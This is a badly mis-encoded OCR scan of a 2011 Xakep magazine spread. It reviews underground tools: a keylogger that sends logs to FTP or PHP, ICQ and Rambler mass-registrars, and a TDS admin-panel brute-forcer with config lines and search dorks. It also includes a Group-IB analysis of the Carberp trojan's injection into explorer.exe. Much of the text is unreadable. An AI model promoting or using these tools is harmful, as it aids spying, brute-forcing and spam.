ÏÄÑÏÍÎÜÊ ÒÐÉÒÏË ÍÜÌÝÎÉËÏÃ, ËÏÓÏÑÜÆ ÓÜ ÃÐÏÌ-
ÎÆ ÒÍÏÇÆÙÝ ÉÒÐÏÌÝÈÏÃÁÓÝ Ã ÒÃÏÉÖ ËÏÑÜÒÓÎÜÖ 
×ÆÌàÖ.

Программа: Reallogger 
ОС: Windows 2000/XP/2003 Server/
Vista/2008 Server/7
Автор: Van32

£ÒÓÑÆØÁÆÍ — ËÆÊÌÏÄÄÆÑ Reallogger ÏÓ ÔØÁÒÓ-
ÎÉËÁ ÕÏÑÔÍÁ fuckav.ru Van32. «ÁË ÐÏÎàÓÎÏ ÉÈ 
ÎÁÈÃÁÎÉà, ÅÁÎÎÁà ÐÑÏÄÑÁÍÍÁ ÐÑÆÅÎÁÈÎÁØÆÎÁ 
ÅÌà ÒËÑÜÓÏÄÏ ÎÁÂÌßÅÆÎÉà ÈÁ ËÏÍÐÝßÓÆÑÏÍ É 
ÍÏÎÉÓÏÑÉÎÄÁ ÁËÓÉÃÎÏÒÓÉ ÐÏÌÝÈÏÃÁÓÆÌà. ²ÏÕÓÉ-
ÎÁ ÑÆÁÌÉÈÔÆÓ ÃÒß ÒÓÁÎÅÁÑÓÎÔß ÅÌà ËÆÊÌÏÄÄÆÑÏÃ 
ÕÔÎË×ÉÏÎÁÌÝÎÏÒÓÝ: ÐÑÏÐÉÒÜÃÁÆÓÒà Ã ÁÃÓÏÈÁ-
ÄÑÔÈËÆ, ÈÁÐÉÒÜÃÁÆÓ ÎÁÇÁÓÉà ËÌÁÃÉÙ Ã ÌßÂÏÊ 
ÑÁÒËÌÁÅËÆ É ÒËÌÁÅÜÃÁÆÓ ÏÓØÆÓÜ Ò ÈÁÅÁÎÎÏÊ ÑÆ-
ÄÔÌàÑÎÏÒÓÝß ÎÁ FTP-ÒÆÑÃÆÑ ÌÉÂÏ ÎÁ ÒÐÆ×ÉÁÌÝ-
ÎÜÊ php-ÄÆÊÓ Ã ÃÉÅÆ POST-ÈÁÐÑÏÒÏÃ. £ ÑÆÆÒÓÑÆ 
ÌÏÄÄÆÑ ÐÑÏÐÉÒÜÃÁÆÓÒà ÒÌÆÅÔßÚÉÍ ÏÂÑÁÈÏÍ:

HKCU\Software\Microsoft\Windows\
CurrentVersion\Run :AntVir
c:\documents and settings\admin\local
 settings\application data\antvir.exe 

¡ÃÓÏÑ ÐÑÏÄÑÁÍÍÜ ÂÔÅÆÓ ÑÁÅ ÏÓÃÆÓÉÓÝ ÎÁ ÌßÂÜÆ 
ÃÏÐÑÏÒÜ Ã ÓÏÐÉËÆ ÎÁ ÕÏÑÔÍÆ FuckAV: bit.ly/
jIClsC.

Программа:TDS Killer
ОС: *nix/win
Автор: daniel_1024

ÍÁ ÈÁÐÉÒÜÃÁÆÓ Ã ÕÁÊÌ good.txt, ÃÆÅà ÐÑÉ ÞÓÏÍ 
ÐÏÅÑÏÂÎÜÊ ÌÏÄ. ̄ ÕÉ×ÉÁÌÝÎÁà ÒÓÑÁÎÉ×Á ÑÆÄÄÆÑÁ 
— bit.ly/iiv2S3. ³ÁÍ ÇÆ ÍÏÇÎÏ ÈÁÅÁÓÝ ÌßÂÜÆ ÒÃÏÉ 
ÃÏÐÑÏÒÜ ÁÃÓÏÑÔ.

Программа: ICQ Multiregger
ОС: Windows 2000/XP/2003 Server/
Vista/2008 Server/7
Автор: Zdez Bil Ya

£ÓÏÑÁà ÐÑÏÄÁ ÏÓ Zdez Bil Ya — ÞÓÏ ÍÁÒÒÑÆÄÄÆÑ ÔÉ-
ÎÏÃ ØÆÑÆÈ ÒÆÑÃÉÒ icq.com, ËÏÓÏÑÜÊ ÂÜÌ ÎÁÐÉÒÁÎ 
ÒÏÃÒÆÍ ÎÆÅÁÃÎÏ É, Ã ÏÓÌÉØÉÆ ÏÓ ÅÑÔÄÏÄÏ ÐÏÅÏÂ-
ÎÏÄÏ ÒÏÕÓÁ, ÆÚÆ ÅÏÌÄÏ ÎÆ ÔÓÑÁÓÉÓ ÒÃÏß ÁËÓÔÁÌÝ-
ÎÏÒÓÝ. ̄ ÒÏÂÆÎÎÏÒÓÝ ÑÆÄÄÆÑÁ ÒÏÒÓÏÉÓ Ã ÓÏÍ, ØÓÏ 
ÐÑÏ×ÆÒÒ ÑÆÄÉÒÓÑÁ×ÉÉ ÁÒÆØÎÜÖ ÎÏÍÆÑËÏÃ ÐÑÏÉÒ-
ÖÏÅÉÓ Ò ÐÏÍÏÚÝß ÒÐÉÒËÁ email-ÁÅÑÆÒÏÃ (ÈÅÆÒÝ 
ÓÆÂÆ É ÍÏÇÆÓ ÐÑÉÄÏÅÉÓÝÒà Rambler Regger). ³ÁË 
ËÁË Ã ÐÑÏÙÌÏÍ ÄÏÅÔ ÁÒà ÐÏÌÎÏÒÓÝß ÉÈÍÆÎÉÌÁ 
ÒÃÏÉ ÒÉÒÓÆÍÜ ÑÆÓÑÉÃÁ É ÑÆÄÉÒÓÑÁ×ÉÉ, ÓÆÐÆÑÝ 
ÈÁÑÆÄÁÓÝ ÁÒÝËÔ ÓÜ ÒÍÏÇÆÙÝ ÓÏÌÝËÏ Ò ÃÁÌÉÅÎÜÍ 
ÍÆÊÌÏÍ, Ò ÐÏÍÏÚÝß ËÏÓÏÑÏÄÏ ÑÆÄÉÒÓÑÁ×Éà É ÐÏÅ-
ÓÃÆÑÅÉÓÒà. ¥ÑÔÄÉÆ ÏÒÏÂÆÎÎÏÒÓÉ ÔÓÉÌÉÓÜ:

• ȠȡȢȗȢȣȢȦȢȫȡȢȥȦȰ;
• ȤȔȥȣȢțȡȔȖȔȡȜș ȞȔȣȫȜ ȫșȤșț ȔȡȦȜȗșȝȦ;
• ȣȤȢȞȥȜ Ȝ ȥȢȞȥȯ;
• ȣȢȘȤȢȕȡȯș ȟȢȗȜ ȤȔȕȢȦȯ ȣȤȢȗȤȔȠȠȯ;
• ȨȢȤȠȔȦ ȨȔȝȟȔ ȥ ȠȯȟȔȠȜ: email;ȣȔȤȢȟȰ
(ȣȢ ȢȘȡȢȠȧ Ȗ ȥȦȤȢȞș);
• ȥȢȩȤȔȡșȡȜș Ȗȥșȩ țȔȤșȗȜȥȦȤȜȤȢȖȔȡȡȯȩ
 ȔȥșȞ Ȗ ȨȔȝȟ good.txt;
• ȣȢȘȦȖșȤȚȘșȡȡȔȳ ȤȔȕȢȦȔ ȥ ȠșȝȟȔȠȜ ȥȟș-
ȘȧȲȭȜȩ ȥșȤȖȜȥȢȖ: mail.ru (bk.ru, inbox.
ru, list.ru), yandex.ru, rambler.ru;
• ȦșȢȤșȦȜȫșȥȞȔȳ ȤȔȕȢȦȔ ȥȢ ȖȥșȠȜ ȠȯȟȰȡȯȠȜ
ȥșȤȖȜȥȔȠȜ, POP-ȥșȤȖșȤ ȞȢȦȢȤȯȩ ȖȯȗȟȳȘȜȦ
ȞȔȞ pop.site.domain.

®Á ÃÜÖÏÅÆ ÓÜ ÐÏÌÔØÉÙÝ ÒÐÉÒÏË ÃÁÌÉÅÎÜÖ ÒÃÆ-
ÇÆÈÁÑÆÄÁÎÎÜÖ ÁÒÆË, ËÏÓÏÑÜÆ ÉÅÆÁÌÝÎÏ ÐÏÅÏÊÅÔÓ 
ÅÌà ÑÆËÌÁÍÎÏÊ ÑÁÒÒÜÌËÉ :). ̈ Á ÐÏÅÅÆÑÇËÏÊ ÏÂ-
ÑÁÚÁÊÒà ÐÑàÍÉËÏÍ Ë ÁÃÓÏÑÔ: bit.ly/k8yQzt. z

TDS Killer — ÞÓÏ ÐÆÑÌÏÃÜÊ ÒËÑÉÐÓ, ÐÑÆÅÎÁ-
ÈÎÁØÆÎÎÜÊ ÒÐÆ×ÉÁÌÝÎÏ ÅÌà ÍÁÒÒÏÃÏÄÏ ÂÑÔÓÁ 
ÁÅÍÉÎÏË ÐÏÐÔÌàÑÎÜÖ ÒËÑÉÐÓÏÃ ÑÁÒÐÑÆÅÆÌÆÎÉà 
ÓÑÁÕÉËÁ (TDS).  £ ÅÁÎÎÜÊ ÍÏÍÆÎÓ ÐÏÅÅÆÑÇÉÃÁ-
ßÓÒà ÅÃÆ ÓÅÒËÉ: Simple TDS É Advanced TDS.
«ÏÎÕÉÄ ÐÑÏÄÑÁÍÍÜ ÃÜÄÌàÅÉÓ ÒÌÆÅÔßÚÉÍ ÏÂ-
ÑÁÈÏÍ:

my $thr = 20; # ȞȢȟ-ȖȢ ȣȢȦȢȞȢȖ
my $tds_type = 0; 
# 0 — Simple TDS; 1 — Advanced TDS 

£ ÕÁÊÌÆ tds.txt ÅÏÌÇÎÜ ÒÏÅÆÑÇÁÓÝÒà ÁÅÑÆÒÁ 
ÁÅÍÉÎÏË TDS, Á Ã ÕÁÊÌÁÖ login.txt É pass.txt — 
ÒÏÏÓÃÆÓÒÓÃÆÎÎÏ ÌÏÄÉÎÜ É ÐÁÑÏÌÉ ÅÌà ÂÑÔÓÕÏÑ-
ÒÁ. £Ï ÃÑÆÍà ÂÑÔÓÁ ÎÁ ÞËÑÁÎ ÃÜÃÏÅÉÓÒà ÒËÏÑÏÒÓÝ 
É ÓÆËÔÚÉÊ ÒÓÁÓÔÒ ÐÑÏ×ÆÒÒÁ.
²ËÑÉÐÓ ÏÂÌÁÅÁÆÓ ÍÎÏÄÏÐÏÓÏØÎÏÒÓÝß, ÐÏ ÏÓÈÜÃÁÍ 
ÐÏÌÝÈÏÃÁÓÆÌÆÊ ÒËÏÑÏÒÓÝ ÍÏÇÆÓ ÅÏÖÏÅÉÓÝ ÅÏ ÅÆ-
ÒàÓÉ ÈÁÐÑÏÒÏÃ Ã ÒÆËÔÎÅÔ. ¡ÃÓÏÑ ÓÁËÇÆ ÐÑÉÃÏÅÉÓ 
É ÅÏÑËÉ ÅÌà ÐÏÉÒËÁ ÓÅÒÏË Ã ÄÔÄÌÆ:

• Simple TDS — «inurl:go.php?sid=»
• Advanced TDS — «out.php?s_id=»

°ÑÏÃÆÑÉÓÝ ÎÁ ÃÁÌÉÅÎÏÒÓÝ ÎÁÐÁÑÒÆÎÎÜÆ ÉÈ ÐÏ-
ÉÒËÏÃÉËÏÃ ÒÒÜÌËÉ ÍÏÇÎÏ Ò ÐÏÍÏÚÝß ÒÐÆ×ÉÁÌÝ-
ÎÏÄÏ ÒËÑÉÐÓÁ tds_checker.pl, ËÏÓÏÑÜÊ ÓÜ ÓÁËÇÆ 
ÒÍÏÇÆÙÝ ÎÁÊÓÉ ÎÁ ÎÁÙÆÍ ÅÉÒËÆ. ¬ßÂÜÆ ÐÑÆÅ-
ÌÏÇÆÎÉà É ÐÏÇÆÌÁÎÉà ÓÜ ÍÏÇÆÙÝ ÏÒÓÁÃÌàÓÝ Ã 
ÓÏÐÉËÆ ÎÁ ¡ØÁÓÆ bit.ly/mwL4hO.

Программа: Rambler Regger
ОС: Windows 2000/XP/2003 Server/
Vista/2008 Server/7
Автор: Zdez Bil Ya

³ÆÐÆÑÝ ÐÑÉÒÓÔÐÉÍ Ë ÒÃÆÇÆÍÔ ÒÏÕÓÔ ÏÓ ÐÏÒÓÏ-
àÎÎÏÄÏ ÔØÁÒÓÎÉËÁ ÎÁÙÆÊ ÑÔÂÑÉËÉ Zdez Bil Ya. 
°ÆÑÃÁà ÉÈ ÐÑÆÅÒÓÁÃÌÆÎÎÜÖ ÒÏÕÓÉÎ — ÞÓÏ ÐÑÏ-
ÄÑÁÍÍÁ ÅÌà ÍÁÒÒÏÃÏÊ ÑÆÄÉÒÓÑÁ×ÉÉ email’ÏÃ ÎÁ 
ÒÆÑÃÉÒÆ Rambler.ru. °ÑÏÄÑÁÍÍÁ ÉÍÆÆÓ ÍÎÏÄÏÐÏ-
ÓÏØÎÜÊ ÑÆÇÉÍ (Ã ÓÏÍ ØÉÒÌÆ ØÆÑÆÈ socks), ËÑÏÍÆ 
ÞÓÏÄÏ ÏÎÁ ÑÁÒÐÏÈÎÁÆÓ ËÁÐØÔ Ò ÐÏÍÏÚÝß ÒÆÑÃÉÒÁ 
Antigate. ¬ÏÄÉÎÜ É ÐÁÑÏÌÉ ÅÌà ÍÜÌ ÄÆÎÆÑÉÑÔßÓ-
Òà ÁÃÓÏÍÁÓÉØÆÒËÉ, Á ÑÆÈÔÌÝÓÁÓ ÑÁÂÏÓÜ ÐÑÏÄÑÁÍ-

Массовая регистрация ящиков на 
Rambler’е

Много асек не бывает

Брутим TDS

Правильный кейлоггер



XÀÊÅÐ  08  /151/  2011 074

MALWARE
 ¤ÑÉÄÏÑÝÆÃ  ÁËÒÉÍ ,  Malware Analyst  Group-IB (Slim_d0g@mail.ru) 

        ¢ÔÓÆÎËÏ  ¡ÌÆËÒÁÎÅÑ ,  Malware Analyst  Group-IB  ( iRe9ent@gmail.com)

 Òðîÿí Win32/Carberp ïîÿâèëñÿ íå òàê äàâíî, â ïåðâîé ïîëîâèíå 2010 
ãîäà, è ìîæíî ñêàçàòü, ÷òî ýòîò âèðóñ èìååò íåïëîõîé ïîòåíöèàë. Îí 
èñïîëüçóåò äîñòàòî÷íî áîëüøîå êîëè÷åñòâî íåîáû÷íûõ òðþêîâ äëÿ 
îáõîäà ýâðèñòè÷åñêèõ àëãîðèòìîâ ñîâðåìåííûõ àíòèâèðóñîâ è 
ñêàíåðîâ.  «Ïîëåçíàÿ» íàãðóçêà æå äåëàåò åãî ñðàâíèìûì ñ Zeus’îì 
èëè SpyEye. Â ýòîé ñòàòüå ìû ðàññìîòðèì íåêîòîðûå îñîáåííîñòè 
äàííîãî òðîÿíöà.

Èçó÷àåì âñå ñåêðåòû òðîÿíà 
Win32/TrojanDownloader.Carberp

С чего же все началось?
«ÏÄÅÁ ÍÜ ÐÑÉÎàÌÉÒÝ ÉÒÒÌÆÅÏÃÁÓÝ ÞÓÏÄÏ ÈÌÏÃÑÆÅÁ, ÉÈ ÐàÓÉ ÒÆÍ-
ÐÌÏÃ, ÐÏÒÌÁÎÎÜÖ ÎÁ VirusTotal.com, ÓÏÌÝËÏ ÏÅÉÎ ÏÐÑÆÅÆÌàÌÒà 
ÍÎÏÄÉÍÉ ÁÎÓÉÃÉÑÔÒÁÍÉ, Ô ÏÒÓÁÌÝÎÜÖ ØÆÓÜÑÆÖ ÒÆÍÐÌÏÃ ËÏÌÉØÆÒÓÃÏ 
ÅÆÓÆËÓÏÃ ÂÜÌÏ ÄÏÑÁÈÅÏ ÍÆÎÝÙÉÍ. ²ÑÁÃÎÉÃ ÃÒÆ ÞËÈÆÍÐÌàÑÜ ÐÑÉ 

ÐÏÍÏÚÉ ÐÌÁÄÉÎÁ BinDiff ÅÌà IDA, ÍÜ ÏÂÎÁÑÔÇÉÌÉ, ØÓÏ ËÏÅ ÂÜÌ 
ÉÅÆÎÓÉØÎÜÍ. °ÏÒÍÏÓÑÆÃ ÃÎÉÍÁÓÆÌÝÎÆÆ ÎÁ ÕÁÊÌÜ Ã ÑÆÅÁËÓÏÑÆ 
HIEW, ËÁÑÓÉÎÁ ÒÓÁÌÁ ÐÑÏàÒÎàÓÝÒà. £Ï-ÐÆÑÃÜÖ, ÏÓÌÉØÁÌÉÒÝ ÎÆËÏ-
ÓÏÑÜÆ ÐÏÌà PE-ÈÁÄÏÌÏÃËÁ. £Ï-ÃÓÏÑÜÖ, Ã ÐÆÑÃÏÊ ÒÆË×ÉÉ «.text» 
ÎÆ ÂÜÌÏ ËÏÅÁ ÃÏÏÂÚÆ, Á ÆÅÉÎÒÓÃÆÎÎÏÆ, ØÓÏ ÓÁÍ ÂÜÌÏ ÐÑÏÐÉÒÁÎÏ, 

GENERATION 
CARBERP

Win32/TrojanDownloader.Carberp
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— ÉÍÆÎÁ ÅÃÔÖ ÂÉÂÌÉÏÓÆË (kernel32.dll É advapi32.dll), Á ÓÁËÇÆ 
ÎÁÈÃÁÎÉÆ ÏÅÎÏÊ ÕÔÎË×ÉÉ (EqualPrefixSid), ËÏÓÏÑÜÆ ÏËÑÔÇÆÎÜ 
ÒÌÔØÁÊÎÜÍÉ ÐÏÒÌÆÅÏÃÁÓÆÌÝÎÏÒÓàÍÉ ÂÁÊÓÏÃ. ¾ÓÉ ÅÁÎÎÜÆ ÉÒÐÏÌÝ-
ÈÔßÓÒà ÐÑÉ ÑÁÒÐÁËÏÃËÆ ÃÉÑÔÒÁ. ®Ô É ÎÁËÏÎÆ×, ÏÓÌÉØÁÌÉÒÝ ÓÁÂÌÉ-
×Ü ÑÆÌÏËÁ×ÉÊ. °ÑÆÅÐÏÒÌÆÅÎÉÆ ÒÆË×ÉÉ «.reloc» ÂÜÌÉ ÑÁÈÌÉØÎÏÄÏ 
ÑÁÈÍÆÑÁ, É ÒÁÍÉ ÈÎÁØÆÎÉà ÑÆÌÏËÏÃ ÓÁËÇÆ ÎÆ ÒÏÃÐÁÅÁÌÉ. ©ÍÆÎÎÏ 
ÞÓÉ ÓÑÉ ÏÓÌÉØÁà ÐÏÈÃÏÌàÌÉ ÅÁÎÎÏÍÔ ÃÉÑÔÒÔ ÏÂÖÏÅÉÓÝ ÒÉÄÎÁÓÔÑÜ.
³ÁËÇÆ, ÐÏÍÉÍÏ ÐàÓÉ ÒÆÍÐÌÏÃ ÏÅÎÏÊ ÃÆÑÒÉÉ ÈÌÏÃÑÆÅÁ, ÂÜÌÉ 
ÉÒÒÌÆÅÏÃÁÎÜ ÆÚÆ ÅÃÆ ÃÆÑÒÉÉ, ËÏÓÏÑÜÆ ÏÓÌÉØÁÌÉÒÝ ÅÑÔÄ ÏÓ 
ÅÑÔÄÁ ËÁË ÍÆÖÁÎÉÈÍÁÍÉ ÈÁÚÉÓÜ, ÓÁË É ÒÃÏÉÍ ÕÔÎË×ÉÏÎÁÌÏÍ (ÒÍ. 
ÓÁÂÌÉ×Ô 1).
®ÁËÏÎÆ× ÍÜ ÐÑÉÒÓÔÐÉÌÉ ÎÆÐÏÒÑÆÅÒÓÃÆÎÎÏ Ë ÉÒÒÌÆÅÏÃÁÎÉß. °ÑÉ 
ÁÎÁÌÉÈÆ ÃÉÑÔÒÏÃ ØÁÒÓÏ ÐÑÉÖÏÅÉÓÒà ÒÓÁÌËÉÃÁÓÝÒà ÒÏ ÒÌÏÇÎÏÒÓàÍÉ 
ÐÑÉ ÒÎàÓÉÉ ÎÁÃÆÒÎÏÊ ÈÁÚÉÓÜ ÉÈ-ÈÁ ÑÁÈÌÉØÎÜÖ ÁÎÓÉÏÓÌÁÅÏØÎÜÖ 
ÐÑÉÆÍÏÃ É ÏÂÕÔÒËÁ×ÉÉ. ®Ï Ò ÅÁÎÎÜÍ ÞËÈÆÍÐÌàÑÏÍ ÐÑÏÂÌÆÍ ÎÆ 
ÃÏÈÎÉËÌÏ, ÆÄÏ ÔÐÁËÏÃÚÉË ÒÎàÌÒà ÂÆÈ ÏÒÏÂÜÖ ÔÒÉÌÉÊ. £ÐÑÏØÆÍ, 
ÒÁÍÏÆ ÉÎÓÆÑÆÒÎÏÆ ÎÁØÉÎÁÆÓÒà ÅÁÌÝÙÆ.

Временные файлы
°ÑÉ ÁÎÁÌÉÈÆ ÞÓÏÄÏ ÈÌÏÃÑÆÅÁ ÍÜ ÒÎÁØÁÌÁ ÎÆ ÐÏÎàÌÉ, ÈÁØÆÍ ÇÆ ÏÎ 
ÒÏÈÅÁÆÓ ÃÑÆÍÆÎÎÜÆ ÕÁÊÌÜ, ËÏÐÉÑÔà Ã ÎÉÖ ÒÓÁÎÅÁÑÓÎÜÆ ÂÉÂÌÉÏ-
ÓÆËÉ Windows (ntdll.dll, kernel32.dll É ws2_32.dll). ¯ËÁÈÁÌÏÒÝ, ØÓÏ 
ÞÓÏ ÅÆÌÁÆÓÒà ÅÌà ÂÆÈÏÐÁÒÎÏÒÓÉ ÃÉÑÔÒÁ. °ÏÒÌÆ ÒÏÈÅÁÎÉà ËÏÐÉÉ 
ÂÉÂÌÉÏÓÆËÉ, ÏÎ ÏÓÏÂÑÁÇÁÆÓ ÆÆ Ë ÒÆÂÆ Ã ÐÁÍàÓÝ, ÎÁÖÏÅÉÓ ÎÔÇÎÜÆ 
ÆÍÔ ÐÑÉ ÑÁÂÏÓÆ ÕÔÎË×ÉÉ É ÒÑÁÃÎÉÃÁÆÓ ÐÆÑÃÜÆ 10 ÂÁÊÓ Ò ÓÆÍÉ, ØÓÏ 
ÎÁÖÏÅàÓÒà Ã ÉÍÐÏÑÓÉÑÏÃÁÎÎÏÊ ÂÉÂÌÉÏÓÆËÆ. ¦ÒÌÉ ÏÎÉ ÎÆ ÒÏÃÐÁÅÁ-
ßÓ, ÈÎÁØÉÓ ËÁËÁà-ÓÏ «ÎÆÅÏÂÑÁà» ÐÑÏÄÑÁÍÍÁ ÐÏÒÓÁÃÉÌÁ ÖÔË ÎÁ ÞÓÔ 
ÕÔÎË×Éß, É ÃÉÑÔÒ ÒÑÁÈÔ ÃÏÒÒÓÁÎÁÃÌÉÃÁÆÓ ÞÓÉ 10 ÂÁÊÓ ÉÈ ÏÑÉÄÉ-
ÎÁÌÝÎÏÊ ÂÉÂÌÉÏÓÆËÉ, Á ÓÏØÎÆÆ — ÉÈ ÏÂÑÁÈÁ ÆÆ ËÏÐÉÉ. °ÏÞÓÏÍÔ Ò 
ÔÃÆÑÆÎÎÏÒÓÝß ÍÏÇÎÏ ÒËÁÈÁÓÝ, ØÓÏ ÇÆÌÁßÚÉÆ ÐÏÉÈÔØÁÓÝ ÃÎÔÓÑÆÎ-
ÎÏÒÓÉ Carberp’Á ÍÏÄ\ÔÓ ÏÓÌÏÇÉÓÝ API Monitor ÎÁ ÅÁÌÝÎßß ÐÏÌËÔ 
ÒÃÏÆÄÏ ÇÆÒÓËÏÄÏ ÅÉÒËÁ :).
£ÜÈÏÃÜ API-ÕÔÎË×ÉÊ ÓÁËÇÆ ÒÅÆÌÁÎÜ Ò ÉÈßÍÉÎËÏÊ. £ ÐÑÏÄÑÁÍÍÆ 
ÐÑÉÒÔÓÒÓÃÔÆÓ ÍÆÖÁÎÉÈÍ, ËÏÓÏÑÜÊ ÐÏÌÔØÁÆÓ ÎÁ ÃÖÏÅ ËÏÎÒÓÁÎÓÔ, Á 
ÎÁ ÃÜÖÏÅÆ ÃÜÒØÉÓÜÃÁÆÓ ÎÆÏÂÖÏÅÉÍÜÊ ÁÅÑÆÒ. «ÏÎÆØÎÏ, ÞÓÏÓ ÐÏÅ-

ÖÏÅ ÈÎÁØÉÓÆÌÝÎÏ ÈÁÓÑÔÅÎàÆÓ ÒÓÁÓÉØÆÒËÉÊ ÁÎÁÌÉÈ ÈÌÏÃÑÆÅÁ, ÖÏÓà 
ÓÁËÇÆ ÉÍÆÆÓ É ÒÃÏÉ ÍÉÎÔÒÜ — ÆÒÌÉ ÐÏÒÓÁÃÉÓÝ ÓÏØËÔ ÏÒÓÁÎÏÃÁ ÎÁ 
ËÏÎÆ× ÕÔÎË×ÉÉ ÑÁÒÙÉÕÑÏÃÁÎÉà, ÓÏ ÌÆÄËÏ ÍÏÇÎÏ ÏÓÒÌÆÅÉÓÝ ÐÏÒÌÆ-
ÅÏÃÁÓÆÌÝÎÏÒÓÝ ÃÜÈÏÃÁ ÕÔÎË×ÉÊ, Á ÎÁÐÉÒÁÃ ÐÁÑÏØËÔ ÒËÑÉÐÓÏÃ ÅÌà 
OllyDbg É IDA, ÍÏÇÎÏ ÃÏÒÒÓÁÎÏÃÉÓÝ ÉÖ ÎÁÈÃÁÎÉà É ÂÆÈ ÐÑÏÂÌÆÍ 
ÒÓÁÓÉØÆÒËÉ ÉÒÒÌÆÅÏÃÁÓÝ ËÏÅ. £ ÏÅÎÏÊ ÉÈ ÉÒÒÌÆÅÔÆÍÜÖ ÃÆÑÒÉÊ 
ÓÑÏàÎÁ ÓÁËÇÆ ÉÒÐÏÌÝÈÏÃÁÌÏÒÝ ÙÉÕÑÏÃÁÎÉÆ ÃÒÆÖ ÓÆËÒÓÏÃÜÖ ÒÓÑÏË, 
ÉÒÐÏÌÝÈÔÆÍÜÖ ÐÑÏÄÑÁÍÍÏÊ, ØÓÏ ÈÎÁØÉÓÆÌÝÎÏ ÈÁÓÑÔÅÎÉÌÏ ÁÎÁÌÉÈ 
ÃÑÆÅÏÎÏÒÎÜÖ ÃÏÈÍÏÇÎÏÒÓÆÊ.

Завоевание новых территорий
£Ï ÍÎÏÄÉÖ ÓÑÏàÎÁÖ ËÏÅ «ÐÏÌÆÈÎÏÊ ÎÁÄÑÔÈËÉ» ÎÆ ÃÜÐÏÌÎàÆÓÒà ÐÑÉ 
ÐÆÑÃÏÍ ÈÁÐÔÒËÆ — ÏÎ ÉÎÇÆËÓÉÑÔÆÓÒà Ã ËÁËÏÊ-ÓÏ ÔÇÆ ÑÁÂÏÓÁßÚÉÊ 
ÐÑÏ×ÆÒÒ É ÎÁØÉÎÁÆÓ ÅÆÊÒÓÃÏÃÁÓÝ ÔÇÆ ÓÁÍ. ¥ÁÎÎÜÊ ÃÑÆÅÏÎÏÒ — ÎÆ 
ÉÒËÌßØÆÎÉÆ, É ÅÌà ÃÎÆÅÑÆÎÉà ÏÎ ÉÒÐÏÌÝÈÔÆÓ ÐÑÏ×ÆÒÒ explorer.exe. 
³ÏÌÝËÏ ÅÆÌÁÆÓ ÏÎ ÞÓÏ ÏØÆÎÝ ÎÆÏÂÜØÎÏ.

Классификация компании ESET Хеш файла

Win32/TrojanDownloader.Carberp.W 641C4FF3047077231A92931D75C20017

Win32/TrojanDownloader.Carberp.X D9D92134F12469A68FCA24F49F1CC608

a variant of Win32/Kryptik.LKI (эвристический детект) 74995A8F06E1268A43E1CF26A36DFF84

А вот антируткит GMER все-таки заметил что-то неладное

Забавно, что через TaskManager можно увидеть нашего 
«невидимку»

Таблица 1. Отличие версий по функционалу и защитным механизмам

Win32/TrojanDownloader.Carberp
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°ÆÑÃÜÍ ÅÆÌÏÍ, ÐÑÏ×ÆÒÒ ÃÜÈÜÃÁÆÓ ÕÔÎË×Éß CreateProcess Ò 
ÃÜÒÓÁÃÌÆÎÎÜÍ ÕÌÁÄÏÍ CREATE_SUSPENDED, ÓÆÍ ÒÁÍÜÍ ÒÏÈ-
ÅÁÃÁà ÎÏÃÜÊ, ÐÑÉÏÒÓÁÎÏÃÌÆÎÎÜÊ ÅÏØÆÑÎÉÊ ÐÑÏ×ÆÒÒ explorer.
exe. ¨ÁÓÆÍ ÃÜÈÏÃÏÍ ÕÔÎË×ÉÉ ZwCreateSection ÒÏÈÅÁÆÓÒà ÏÂÛ-
ÆËÓ «ÒÆË×Éà» (SectionObject — ÞÓÏ ØÁÒÓÝ ÐÁÍàÓÉ, ËÏÓÏÑÁà ÍÏÇÆÓ 
ÑÁÈÅÆÌàÓÝÒà ÍÆÇÅÔ ÑÁÈÎÜÍÉ ÐÑÏ×ÆÒÒÁÍÉ) ÒÏ ÃÒÆÍÉ ÃÏÈÍÏÇ-
ÎÜÍÉ ÐÑÁÃÁÍÉ (ØÓÆÎÉÆ, ÈÁÐÉÒÝ, ÉÒÐÏÌÎÆÎÉÆ). ¥ÁÌÆÆ ÒÆË×Éà 
ÍÁÐÉÓÒà Ã ËÏÎÓÆËÒÓ ÓÑÏàÎÁ ÕÔÎË×ÉÆÊ ZwMapViewOfSection É 
ÐÑÉ ÐÏÍÏÚÉ memcpy ÃÑÆÅÏÎÏÒ ËÏÐÉÑÔÆÓ ÒÃÏß ÑÁÒÐÁËÏÃÁÎÎÔß 
ËÏÐÉß Ã ÞÓÔ ÏÂÌÁÒÓÝ ÐÁÍàÓÉ. °ÏÒÌÆ ÞÓÏÄÏ, ÒÆË×Éà ÏÓÏÂÑÁÇÁÆÓÒà 
Ã ËÏÎÓÆËÒÓ ÅÏØÆÑÎÆÄÏ explorer.exe, É ÓÆÍ ÒÁÍÜÍ ÓÔÅÁ ÈÁÎÏÒÉÓÒà 
ÃÑÆÅÏÎÏÒÎÜÊ ËÏÅ. ®Ï ÞÓÏ ÆÚÆ ÎÆ ËÏÎÆ×, ÃÆÅÝ ÃÑÆÅÏÎÏÒÎÜÊ ËÏÅ 
ÅÏÌÇÆÎ ÓÁËÇÆ ÃÜÐÏÌÎÉÓÝÒà explorer’ÏÍ. ¥Ìà ÞÓÏÄÏ ÕÔÎË×ÉÆÊ 
ReadProcessMemory ÉÈ ÐÑÏ×ÆÒÒÁ explorer.exe ËÏÐÉÑÔÆÓÒà ÍÆÒÓÏ, 
ÄÅÆ ÎÁÖÏÅÉÓÒà ÒÐÑÏÆ×ÉÑÏÃÁÎÎÜÊ ÉÒÖÏÅÎÜÊ ÕÁÊÌ, Ã ËÏÎÓÆËÒÓ 
ÃÑÆÅÏÎÏÒÎÏÊ ÐÑÏÄÑÁÍÍÜ. ²ÏÈÅÁÆÓÒà ÆÚÆ ÏÅÎÁ ÒÆË×Éà, ËÏÓÏÑÁà 
ÒÎÁØÁÌÁ ÏÓÏÂÑÁÇÁÆÓÒà Ã ÓÑÏàÎÒËÔß ÐÑÏÄÑÁÍÍÔ, Á ÐÏÓÏÍ Ã ÎÆÆ Ò 
ÐÏÍÏÚÝß memcpy ËÏÐÉÑÔÆÓÒà ÐÏÌÔØÆÎÎÁà ÉÈ explorer’Á ØÁÒÓÝ 
ÐÁÍàÓÉ. ²ÌÆÅÔßÚÉÍ ÙÁÄÏÍ ÐÁÓØÁÓÒà ÎÆÒËÏÌÝËÏ ÂÁÊÓ ÎÁ ÓÏØËÆ 
ÃÖÏÅÁ ÓÁËÉÍ ÏÂÑÁÈÏÍ, ØÓÏÂÜ ÐÑÏÉÒÖÏÅÉÌ ÐÑÜÇÏË ÎÁ ÃÑÆÅÏÎÏÒÎÔß 
